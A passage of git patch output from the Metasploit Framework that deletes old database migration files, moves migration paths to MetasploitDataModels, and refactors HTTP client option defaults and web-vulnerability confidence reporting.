/^creds_([0-9]+)_(userpass|password|smb_hash)\-[0-9]+\.txt$/ - wid = $1 - next unless Workspace.find(wid) - ftype = $2 - actual_ftype = case ftype - when "smb_hash", "userpass" - "userpass" # They're treated the same - when "password" - "pass" - end - next unless actual_ftype - say "Registering credential file '%s' for workspace %d as type '%s'" % [fname,wid,actual_ftype] - cred_file = CredFile.new - cred_file.workspace_id = wid - cred_file.created_by = "" - cred_file.path = fname - cred_file.name = "#{ftype}.txt" - cred_file.desc = "Migrated #{ftype} credentials" - cred_file.ftype = actual_ftype - if cred_file.save - successful_count += 1 - say "Successfully imported #{ftype} credentials for workspace #{wid}" - end - end - successful_count - end - - end - - def self.up - cred_path = find_or_create_cred_path - if cred_path - old_imported_creds = find_all_imported_creds_by_workspace - new_files = write_creds_to_files(old_imported_creds,cred_path) - successful_count = register_new_files(new_files) - end - end - - # Sorry, can't get the old data back. - def self.down - end - -end diff --git a/data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb b/data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb deleted file mode 100755 index ee9ee21070..0000000000 --- a/data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddSettingsToTasksTable < ActiveRecord::Migration - - def self.up - add_column :tasks, :settings, :binary - end - - def self.down - remove_column :tasks, :settings - end - -end - diff --git a/data/sql/migrate/20110624000001_add_listeners_table.rb b/data/sql/migrate/20110624000001_add_listeners_table.rb deleted file mode 100755 index c541be2131..0000000000 --- a/data/sql/migrate/20110624000001_add_listeners_table.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddListenersTable < ActiveRecord::Migration - def self.up - create_table :listeners do |t| - t.timestamps - t.integer :workspace_id, :null => false, :default => 1 - t.integer :task_id - t.boolean :enabled, :default => true - t.text :owner - t.text :payload - t.text :address - t.integer :port - t.binary :options - end - end - def self.down - drop_table :listeners - end -end - diff --git a/data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb b/data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb deleted file mode 100755 index 283d102105..0000000000 --- a/data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddMacroToListenersTable < ActiveRecord::Migration - - def self.up - add_column :listeners, :macro, :text - end - - def self.down - remove_column :listeners, :macro - end - -end - diff --git a/data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb b/data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb deleted file mode 100755 index 037af40ae1..0000000000 --- a/data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb +++ /dev/null @@ -1,21 +0,0 @@ -class AddNexposeConsolesTable < ActiveRecord::Migration - def self.up - create_table :nexpose_consoles do |t| - t.timestamps - t.boolean :enabled, :default => true - t.text :owner - t.text :address - t.integer :port, :default => 3780 - t.text :username - t.text :password - t.text :status - t.text :version - t.text :cert - t.binary :cached_sites - end - end - def self.down - drop_table :nexpose_consoles - end -end - diff --git a/data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb b/data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb deleted file mode 100755 index 9411724344..0000000000 --- a/data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddNameToNexposeConsolesTable < ActiveRecord::Migration - - def self.up - add_column :nexpose_consoles, :name, :text - end - - def self.down - remove_column :nexpose_consoles, :name - end - -end - diff --git a/data/sql/migrate/20110717000001_add_profiles_table.rb b/data/sql/migrate/20110717000001_add_profiles_table.rb deleted file mode 100755 index c0b8831bf1..0000000000 --- a/data/sql/migrate/20110717000001_add_profiles_table.rb +++ /dev/null @@ -1,15 +0,0 @@ -class AddProfilesTable < ActiveRecord::Migration - def self.up - create_table :profiles do |t| - t.timestamps - t.boolean :active, :default => true - t.text :name - t.text :owner - t.binary :settings - end - end - def self.down - drop_table :profiles - end -end - diff --git a/data/sql/migrate/20110727163801_expand_cred_ptype_column.rb b/data/sql/migrate/20110727163801_expand_cred_ptype_column.rb deleted file mode 100755 index b5fce6fd8f..0000000000 --- a/data/sql/migrate/20110727163801_expand_cred_ptype_column.rb +++ /dev/null @@ -1,9 +0,0 @@ -class ExpandCredPtypeColumn < ActiveRecord::Migration - def self.up - change_column :creds, :ptype, :string, :limit => 256 - end - def self.down - change_column :creds, :ptype, :string, :limit => 16 - end -end - diff --git a/data/sql/migrate/20110730000001_add_initial_indexes.rb b/data/sql/migrate/20110730000001_add_initial_indexes.rb deleted file mode 100755 index 4085f64843..0000000000 --- a/data/sql/migrate/20110730000001_add_initial_indexes.rb +++ /dev/null @@ -1,85 +0,0 @@ -class AddInitialIndexes < ActiveRecord::Migration - def self.up - - - add_index :hosts, :address - add_index :hosts, :address6 - add_index :hosts, :name - add_index :hosts, :state - add_index :hosts, :os_name - add_index :hosts, :os_flavor - add_index :hosts, :purpose - - # Removed (conditionally dropped in the next migration) - # add_index :hosts, :comments - - add_index :services, :port - add_index :services, :proto - add_index :services, :state - add_index :services, :name - - # Removed (conditionally dropped in the next migration) - # add_index :services, :info - - add_index :notes, :ntype - - add_index :vulns, :name - - # Removed (conditionally dropped in the next migration) - # add_index :vulns, :info - - add_index :refs, :name - - add_index :web_sites, :vhost - add_index :web_sites, :comments - add_index :web_sites, :options - - add_index :web_pages, :path - add_index :web_pages, :query - - add_index :web_forms, :path - - add_index :web_vulns, :path - add_index :web_vulns, :method - add_index :web_vulns, :name - end - - def self.down - - remove_index :hosts, :address - remove_index :hosts, :address6 - remove_index :hosts, :name - remove_index :hosts, :state - remove_index :hosts, :os_name - remove_index :hosts, :os_flavor - remove_index :hosts, :purpose - remove_index :hosts, :comments - - remove_index :services, :port - remove_index :services, :proto - remove_index :services, :state - remove_index :services, :name - remove_index :services, :info - - remove_index :notes, :ntype - - remove_index :vulns, :name - remove_index :vulns, :info - - remove_index :refs, :name - - remove_index :web_sites, :vhost - remove_index :web_sites, :comments - remove_index :web_sites, :options - - remove_index :web_pages, :path - remove_index :web_pages, :query - - remove_index :web_forms, :path - - remove_index :web_vulns, :path - remove_index :web_vulns, :method - remove_index :web_vulns, :name - end -end - diff --git a/data/sql/migrate/20110812000001_prune_indexes.rb b/data/sql/migrate/20110812000001_prune_indexes.rb deleted file mode 100755 index 54b681f273..0000000000 --- a/data/sql/migrate/20110812000001_prune_indexes.rb +++ /dev/null @@ -1,23 +0,0 @@ -class PruneIndexes < ActiveRecord::Migration - def self.up - - if indexes(:hosts).map{|x| x.columns }.flatten.include?("comments") - remove_index :hosts, :comments - end - - if indexes(:services).map{|x| x.columns }.flatten.include?("info") - remove_index :services, :info - end - - if indexes(:vulns).map{|x| x.columns }.flatten.include?("info") - remove_index :vulns, :info - end - end - - def self.down - add_index :hosts, :comments - add_index :services, :info - add_index :vulns, :info - end -end - diff --git a/data/sql/migrate/20110922000000_expand_notes.rb b/data/sql/migrate/20110922000000_expand_notes.rb deleted file mode 100755 index 4e77303fa0..0000000000 --- a/data/sql/migrate/20110922000000_expand_notes.rb +++ /dev/null @@ -1,9 +0,0 @@ -class ExpandNotes < ActiveRecord::Migration - def self.up - change_column :notes, :data, :text - end - def self.down - change_column :notes, :data, :string, :limit => 65536 - end -end - diff --git a/data/sql/migrate/20110928101300_add_mod_ref_table.rb b/data/sql/migrate/20110928101300_add_mod_ref_table.rb deleted file mode 100755 index 24f16d642f..0000000000 --- a/data/sql/migrate/20110928101300_add_mod_ref_table.rb +++ /dev/null @@ -1,17 +0,0 @@ -# Probably temporary, a spot to stash module names and their associated refs -# Don't count on it being populated at any given moment. -class AddModRefTable < ActiveRecord::Migration - - def self.up - create_table :mod_refs do |t| - t.string :module, :limit => 1024 - t.string :mtype, :limit => 128 - t.text :ref - end - end - - def self.down - drop_table :mod_refs - end - -end diff --git a/data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb b/data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb deleted file mode 100755 index f0c54fed98..0000000000 --- a/data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb +++ /dev/null @@ -1,24 +0,0 @@ -class AddDisplayNameToReportsTable < ActiveRecord::Migration - - class Report < ActiveRecord::Base - end - - def self.up - - add_column :reports, :name, :string, :limit => 63 - - # Migrate to have a default name. - - Report.find(:all).each do |report| - rtype = report.rtype.to_s =~ /^([A-Z0-9]+)\x2d/i ? $1 : "AUDIT" - default_name = rtype[0,57].downcase.capitalize + "-" + report.id.to_s[0,5] - report.name = default_name - report.save - end - end - - def self.down - remove_column :reports, :name - end - -end diff --git a/data/sql/migrate/20111203000000_inet_columns.rb b/data/sql/migrate/20111203000000_inet_columns.rb deleted file mode 100755 index 6e86654bc5..0000000000 --- a/data/sql/migrate/20111203000000_inet_columns.rb +++ /dev/null @@ -1,13 +0,0 @@ -class InetColumns < ActiveRecord::Migration - - def self.up - change_column :hosts, :address, 'INET using address::INET' - remove_column :hosts, :address6 - end - - def self.down - change_column :hosts, :address, :text - add_column :hosts, :address6, :text - end - -end diff --git a/data/sql/migrate/20111204000000_more_inet_columns.rb b/data/sql/migrate/20111204000000_more_inet_columns.rb deleted file mode 100755 index 56adf64625..0000000000 --- a/data/sql/migrate/20111204000000_more_inet_columns.rb +++ /dev/null @@ -1,17 +0,0 @@ -class MoreInetColumns < ActiveRecord::Migration - - def self.up - change_column :wmap_requests, :address, 'INET using address::INET' - remove_column :wmap_requests, :address6 - change_column :wmap_targets, :address, 'INET using address::INET' - remove_column :wmap_targets, :address6 - end - - def self.down - change_column :wmap_requests, :address, :string, :limit => 16 - add_column :wmap_requests, :address6, :string, :limit => 255 - change_column :wmap_targets, :address, :string, :limit => 16 - add_column :wmap_targets, :address6, :string, :limit => 255 - end - -end diff --git a/data/sql/migrate/20111210000000_add_scope_to_hosts.rb b/data/sql/migrate/20111210000000_add_scope_to_hosts.rb deleted file mode 100755 index 2bbe8f9f77..0000000000 --- a/data/sql/migrate/20111210000000_add_scope_to_hosts.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddScopeToHosts < ActiveRecord::Migration - def self.up - add_column :hosts, :scope, :text - end - - def self.down - remove_column :hosts, :scope - end -end diff --git a/data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb b/data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb deleted file mode 100755 index 5e9833d884..0000000000 --- a/data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddVirtualHostToHosts < ActiveRecord::Migration - def self.up - add_column :hosts, :virtual_host, :text - end - - def self.down - remove_column :hosts, :viritual_host - end -end diff --git a/data/sql/migrate/20120411173220_rename_workspace_members.rb b/data/sql/migrate/20120411173220_rename_workspace_members.rb deleted file mode 100755 index 75003d6d36..0000000000 --- a/data/sql/migrate/20120411173220_rename_workspace_members.rb +++ /dev/null @@ -1,9 +0,0 @@ -class RenameWorkspaceMembers < ActiveRecord::Migration - def up - rename_table :project_members, :workspace_members - end - - def down - rename_table :workspace_members, :project_members - end -end diff --git a/data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb b/data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb deleted file mode 100755 index fcd2f9e0ca..0000000000 --- a/data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb +++ /dev/null @@ -1,21 +0,0 @@ -class AddCounterCachesToHosts < ActiveRecord::Migration - - def self.up - add_column :hosts, :note_count, :integer, :default => 0 - add_column :hosts, :vuln_count, :integer, :default => 0 - add_column :hosts, :service_count, :integer, :default => 0 - - Mdm::Host.reset_column_information - Mdm::Host.all.each do |h| - Mdm::Host.reset_counters h.id, :notes - Mdm::Host.reset_counters h.id, :vulns - Mdm::Host.reset_counters h.id, :services - end - end - - def self.down - remove_column :hosts, :note_count - remove_column :hosts, :vuln_count - remove_column :hosts, :service_count - end -end \ No newline at end of file diff --git a/data/sql/migrate/20120625000000_add_vuln_details.rb b/data/sql/migrate/20120625000000_add_vuln_details.rb deleted file mode 100755 index 0f946da39c..0000000000 --- a/data/sql/migrate/20120625000000_add_vuln_details.rb +++ /dev/null @@ -1,34 +0,0 @@ -class AddVulnDetails < ActiveRecord::Migration - - def self.up - create_table :vuln_details do |t| - t.integer :vuln_id # Vuln table reference - t.float :cvss_score # 0.0 to 10.0 - t.string :cvss_vector # Ex: (AV:N/AC:L/Au:N/C:C/I:C/A:C)(AV:N/AC:L/Au:N/C:C/I:C/A:C) - - t.string :title # Short identifier - t.text :description # Plain text or HTML (trusted) - t.text :solution # Plain text or HTML (trusted) - t.binary :proof # Should be UTF-8, but may not be, sanitize on output - # Technically this duplicates vuln.info, but that field - # is poorly managed / handled today. Eventually we will - # replace vuln.info - - # Nexpose-specific fields - t.integer :nx_console_id # NexposeConsole table reference - t.integer :nx_device_id # Reference from the Nexpose side - t.string :nx_vuln_id # 'jre-java-update-flaw' - t.float :nx_severity # 0-10 - t.float :nx_pci_severity # 0-10 - t.timestamp :nx_published # Normalized from "20081205T000000000" - t.timestamp :nx_added # Normalized from "20081205T000000000" - t.timestamp :nx_modified # Normalized from "20081205T000000000" - t.text :nx_tags # Comma separated - - end - end - - def self.down - drop_table :vuln_details - end -end diff --git a/data/sql/migrate/20120625000001_add_host_details.rb b/data/sql/migrate/20120625000001_add_host_details.rb deleted file mode 100755 index 36e70892fa..0000000000 --- a/data/sql/migrate/20120625000001_add_host_details.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddHostDetails < ActiveRecord::Migration - - def self.up - create_table :host_details do |t| - t.integer :host_id # Host table reference - - # Nexpose-specific fields - t.integer :nx_console_id # NexposeConsole table reference - t.integer :nx_device_id # Reference from the Nexpose side - end - end - - def self.down - drop_table :host_details - end -end diff --git a/data/sql/migrate/20120625000002_expand_details.rb b/data/sql/migrate/20120625000002_expand_details.rb deleted file mode 100755 index bd240ecdc5..0000000000 --- a/data/sql/migrate/20120625000002_expand_details.rb +++ /dev/null @@ -1,16 +0,0 @@ -class ExpandDetails < ActiveRecord::Migration - - def self.up - add_column :vuln_details, :nx_vuln_status, :text - add_column :vuln_details, :nx_proof_key, :text - add_column :vuln_details, :src, :string - add_column :host_details, :src, :string - end - - def self.down - remove_column :vuln_details, :nx_vuln_status - remove_column :vuln_details, :nx_proof_key - remove_column :vuln_details, :src - remove_column :host_details, :src - end -end diff --git a/data/sql/migrate/20120625000003_expand_details2.rb b/data/sql/migrate/20120625000003_expand_details2.rb deleted file mode 100755 index 4122503692..0000000000 --- a/data/sql/migrate/20120625000003_expand_details2.rb +++ /dev/null @@ -1,24 +0,0 @@ -class ExpandDetails2 < ActiveRecord::Migration - - def self.up - add_column :host_details, :nx_site_name, :string - add_column :host_details, :nx_site_importance, :string - add_column :host_details, :nx_scan_template, :string - add_column :host_details, :nx_risk_score, :float - - add_column :vuln_details, :nx_scan_id, :integer - add_column :vuln_details, :nx_vulnerable_since, :timestamp - add_column :vuln_details, :nx_pci_compliance_status, :string - end - - def self.down - remove_column :host_details, :nx_site_name - remove_column :host_details, :nx_site_importance - remove_column :host_details, :nx_scan_template - remove_column :host_details, :nx_risk_score - - remove_column :vuln_details, :nx_scan_id - remove_column :vuln_details, :nx_vulnerable_since - remove_column :vuln_details, :nx_pci_compliance_status - end -end diff --git a/data/sql/migrate/20120625000004_add_vuln_attempts.rb b/data/sql/migrate/20120625000004_add_vuln_attempts.rb deleted file mode 100755 index b943fe358f..0000000000 --- a/data/sql/migrate/20120625000004_add_vuln_attempts.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddVulnAttempts < ActiveRecord::Migration - - def self.up - create_table :vuln_attempts do |t| - t.integer :vuln_id # Vuln table reference - t.timestamp :attempted_at # Timestamp of when the session was opened or the module exited - t.boolean :exploited # Whether or not the attempt succeeded - t.string :fail_reason # Short string corresponding to a Msf::Exploit::Failure constant - t.string :username # The user that tested this vulnerability - t.text :module # The specific module name that was used - t.integer :session_id # Database identifier of any opened session - t.integer :loot_id # Database identifier of any 'proof' loot (for non-session exploits) - end - end - - def self.down - drop_table :vuln_attempts - end -end diff --git a/data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb b/data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb deleted file mode 100755 index c34101fd89..0000000000 --- a/data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb +++ /dev/null @@ -1,14 +0,0 @@ -class AddVulnAndHostCounterCaches < ActiveRecord::Migration - - def self.up - add_column :hosts, :host_detail_count, :integer, :default => 0 - add_column :vulns, :vuln_detail_count, :integer, :default => 0 - add_column :vulns, :vuln_attempt_count, :integer, :default => 0 - end - - def self.down - remove_column :hosts, :host_detail_count - remove_column :vulns, :vuln_detail_count - remove_column :vulns, :vuln_attempt_count - end -end diff --git a/data/sql/migrate/20120625000006_add_module_details.rb b/data/sql/migrate/20120625000006_add_module_details.rb deleted file mode 100755 index cb99f7ee84..0000000000 --- a/data/sql/migrate/20120625000006_add_module_details.rb +++ /dev/null @@ -1,118 +0,0 @@ -class AddModuleDetails < ActiveRecord::Migration - - def self.up - - create_table :module_details do |t| - t.timestamp :mtime # disk modified time - t.text :file # location on disk - t.string :mtype # exploit, auxiliary, post, etc - t.text :refname # module path (no type) - t.text :fullname # module path with type - t.text :name # module title - t.integer :rank # exploit rank - t.text :description # - t.string :license # MSF_LICENSE - t.boolean :privileged # true or false - t.timestamp :disclosure_date # Mar 10 2004 - t.integer :default_target # 0 - t.text :default_action # "scan" - t.string :stance # "passive" - t.boolean :ready # true/false - end - - add_index :module_details, :refname - add_index :module_details, :name - add_index :module_details, :description - add_index :module_details, :mtype - - create_table :module_authors do |t| - t.integer :module_detail_id - t.text :name - t.text :email - end - add_index :module_authors, :module_detail_id - - create_table :module_mixins do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_mixins, :module_detail_id - - create_table :module_targets do |t| - t.integer :module_detail_id - t.integer :index - t.text :name - end - add_index :module_targets, :module_detail_id - - create_table :module_actions do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_actions, :module_detail_id - - create_table :module_refs do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_refs, :module_detail_id - add_index :module_refs, :name - - create_table :module_archs do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_archs, :module_detail_id - - create_table :module_platforms do |t| - t.integer :module_detail_id - t.text :name - end - add_index :module_platforms, :module_detail_id - - end - - def self.down - remove_index :module_details, :refname - remove_index :module_details, :name - remove_index :module_details, :description - remove_index :module_details, :mtype - - remove_index :module_authors, :module_detail_id - remove_index :module_mixins, :module_detail_id - remove_index :module_targets, :module_detail_id - remove_index :module_actions, :module_detail_id - remove_index :module_refs, :module_detail_id - remove_index :module_refs, :name - remove_index :module_archs, :module_detail_id - remove_index :module_platform, :module_detail_id - - drop_table :module_details - drop_table :module_authors - drop_table :module_mixins - drop_table :module_targets - drop_table :module_actions - drop_table :module_refs - drop_table :module_archs - drop_table :module_platforms - - end -end - -=begin - -Mdm::Host.find_by_sql(" -SELECT - hosts.id, hosts.address, module_details.mtype AS mtype, module_details.refname AS mname, vulns.name AS vname, refs.name AS vref -FROM - hosts,vulns,vulns_refs,refs,module_refs,module_details -WHERE - hosts.id = vulns.host_id AND - vulns.id = vulns_refs.vuln_id AND - vulns_refs.ref_id = refs.id AND - refs.name = module_refs.name AND - module_refs.module_detail_id = modules_details.id -").map{|x| [x.address, x.mname, x.vname, x.vref ] } - - -=end diff --git a/data/sql/migrate/20120625000007_add_exploit_attempts.rb b/data/sql/migrate/20120625000007_add_exploit_attempts.rb deleted file mode 100755 index 22d3ec0b1f..0000000000 --- a/data/sql/migrate/20120625000007_add_exploit_attempts.rb +++ /dev/null @@ -1,26 +0,0 @@ -class AddExploitAttempts < ActiveRecord::Migration - - def self.up - create_table :exploit_attempts do |t| - t.integer :host_id # Host table reference (primary) - t.integer :service_id # Service table reference (optional) - t.integer :vuln_id # Vuln table reference (optional) - t.timestamp :attempted_at # Timestamp of when the session was opened or the module exited - t.boolean :exploited # Whether or not the attempt succeeded - t.string :fail_reason # Short string corresponding to a Msf::Exploit::Failure constant - t.string :username # The user that tested this vulnerability - t.text :module # The specific module name that was used - t.integer :session_id # Database identifier of any opened session - t.integer :loot_id # Database identifier of any 'proof' loot (for non-session exploits) - t.integer :port # Port -> Services are created/destroyed frequently and failed - t.string :proto # Protocol | attempts may be against closed ports. - end - - add_column :hosts, :exploit_attempt_count, :integer, :default => 0 - end - - def self.down - drop_table :exploit_attempts - remove_column :hosts, :exploit_attempt_count - end -end diff --git a/data/sql/migrate/20120625000008_add_fail_message.rb b/data/sql/migrate/20120625000008_add_fail_message.rb deleted file mode 100755 index 7d6dd0f96b..0000000000 --- a/data/sql/migrate/20120625000008_add_fail_message.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddFailMessage < ActiveRecord::Migration - - def self.up - add_column :vuln_attempts, :fail_detail, :text - add_column :exploit_attempts, :fail_detail, :text - end - - def self.down - remove_column :vuln_attempts, :fail_detail - remove_column :exploit_attempts, :fail_detail - end -end diff --git a/data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb b/data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb deleted file mode 100644 index 2160e61de6..0000000000 --- a/data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb +++ /dev/null @@ -1,13 +0,0 @@ -class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration - - def self.up - add_column :web_vulns, :owner, :string - add_column :web_vulns, :payload, :text - end - - def self.down - remove_column :web_vulns, :owner - remove_column :web_vulns, :payload - end - -end diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index a5bdf41fef..42974b229a 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -69,7 +69,7 @@ class DBManager self.framework = framework self.migrated = false - self.migration_paths = [ ::File.join(Msf::Config.install_root, "data", "sql", "migrate") ] + self.migration_paths = [] self.modules_cached = false self.modules_caching = false @@ -82,6 +82,10 @@ class DBManager end initialize_database_support + + # have to set migration paths after initialize_database_support as it loads + # MetasploitDataModels. + self.migration_paths << MetasploitDataModels.root.join('db', 'migrate').to_s end # From 862b8137865592b613f784edecddeeac2be2ae2b Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Fri, 1 Mar 2013 18:33:16 +0200 Subject: [PATCH 254/341] Auxiliary::Web: fixed confidence calc in log methods --- lib/msf/core/auxiliary/web.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 48428b720c..70c824bfcb 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -179,7 +179,7 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, + :confidence => calculate_confidence( parent.vulns[mode][vhash] ), :owner => self } @@ -211,7 +211,7 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, + :confidence => calculate_confidence( parent.vulns[mode][vhash] ), :owner => self } From 902948e5d395e244165e9d5c9e00a8e3faa97f76 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 1 Mar 2013 11:01:00 -0600 Subject: [PATCH 255/341] cleanup options --- lib/rex/proto/http/client.rb | 43 ++++------------------------ lib/rex/proto/http/client_request.rb | 3 +- 2 files changed, 8 insertions(+), 38 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 38b5c3ac2b..47fa021f4f 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -129,23 +129,12 @@ class Client # # @return [ClientRequest] def request_raw(opts={}) - opts['agent'] ||= config['agent'] - opts['data'] ||= '' - opts['uri'] ||= '/' - opts['cookie'] ||= config['cookie'] - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['vhost'] ||= config['vhost'] - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - + opts = self.config.merge(opts) + + opts['ssl'] = self.ssl opts['cgi'] = false opts['port'] = self.port - opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' - opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' - opts['version'] = opts['version'] || config['version'] || '1.1' - + req = ClientRequest.new(opts) end @@ -162,33 +151,13 @@ class Client # # @return [ClientRequest] def request_cgi(opts={}) - opts['agent'] ||= config['agent'] - opts['basic_auth'] ||= config['basic_auth'] || '' - opts['cookie'] ||= config['cookie'] + opts = self.config.merge(opts) + opts['ctype'] ||= 'application/x-www-form-urlencoded' - opts['data'] ||= '' - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - opts['raw_headers'] ||= config['raw_headers'] || '' - opts['uri'] ||= '/' - opts['vars_get'] ||= {} - opts['vars_post'] ||= {} - opts['version'] ||= config['version'] || '1.1' - opts['vhost'] ||= config['vhost'] - opts['ssl'] = self.ssl opts['cgi'] = true opts['port'] = self.port - if opts['encode_params'] == true or opts['encode_params'].nil? - opts['encode_params'] = true - else - opts['encode_params'] = false - end - req = ClientRequest.new(opts) end diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 039d11559d..c941342fe7 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -27,6 +27,7 @@ class ClientRequest 'path_info' => '', 'port' => 80, 'proto' => 'HTTP', + 'query' => '', 'ssl' => false, 'uri' => '/', 'vars_get' => {}, @@ -38,7 +39,7 @@ class ClientRequest # Evasion options # 'encode_params' => true, - 'encode' => true, + 'encode' => false, 'uri_encode_mode' => 'hex-normal', # hex-all, hex-random, u-normal, u-random, u-all 'uri_encode_count' => 1, # integer 'uri_full_url' => false, # bool From ac65c54cc53aacd527df02057340e3f26a626c95 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Fri, 1 Mar 2013 19:37:41 +0200 Subject: [PATCH 256/341] Auxiliary::Web: fixed the previous confidence fix --- lib/msf/core/auxiliary/web.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 70c824bfcb..36571c5ac4 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -179,10 +179,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => calculate_confidence( parent.vulns[mode][vhash] ), :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " FOUND(#{mode.to_s.upcase}) URL(#{location})" @@ -211,10 +212,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => calculate_confidence( parent.vulns[mode][vhash] ), :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" From 7b8654a71d712ecd8158659c6c939827a3a49b64 Mon Sep 17 00:00:00 2001 From: Samuel Huckins Date: Fri, 1 Mar 2013 11:41:06 -0600 Subject: [PATCH 257/341] Revert "Merge pull request #1534 from tasos-r7/bugfix/web-vuln-confidence" This reverts commit 3840ddccbce47cacb33415ad8301a4cf04fa7462, reversing changes made to e1891f08366c459701a13f545a13ce5b926e89f6. --- lib/msf/core/auxiliary/web.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 70c824bfcb..48428b720c 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -179,7 +179,7 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => calculate_confidence( parent.vulns[mode][vhash] ), + :confidence => details[:category] || opts[:confidence] || 100, :owner => self } @@ -211,7 +211,7 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => calculate_confidence( parent.vulns[mode][vhash] ), + :confidence => details[:category] || opts[:confidence] || 100, :owner => self } From 4212c36566836d99d8bf16db5dffa7dc84013d26 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 1 Mar 2013 11:59:02 -0600 Subject: [PATCH 258/341] Fix up basic auth madness --- lib/msf/core/exploit/http/client.rb | 7 +++---- lib/rex/proto/http/client.rb | 1 - lib/rex/proto/http/client_request.rb | 6 ------ .../auxiliary/admin/http/iis_auth_bypass.rb | 2 +- .../admin/http/intersil_pass_reset.rb | 4 ++-- .../admin/http/linksys_wrt54gl_exec.rb | 4 ++-- .../admin/http/netgear_sph200d_traversal.rb | 4 ++-- modules/auxiliary/gather/xbmc_traversal.rb | 2 +- .../auxiliary/scanner/http/http_traversal.rb | 8 +++----- .../auxiliary/scanner/http/jboss_vulnscan.rb | 2 +- .../multi/http/netwin_surgeftp_exec.rb | 2 +- spec/lib/rex/proto/http/client_spec.rb | 20 ------------------- 12 files changed, 16 insertions(+), 46 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 5d8a48891e..6769a44b9a 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -163,7 +163,6 @@ module Exploit::Remote::HttpClient nclient.set_config( 'vhost' => self.vhost(), 'agent' => datastore['UserAgent'], - 'basic_auth' => self.basic_auth, 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'], 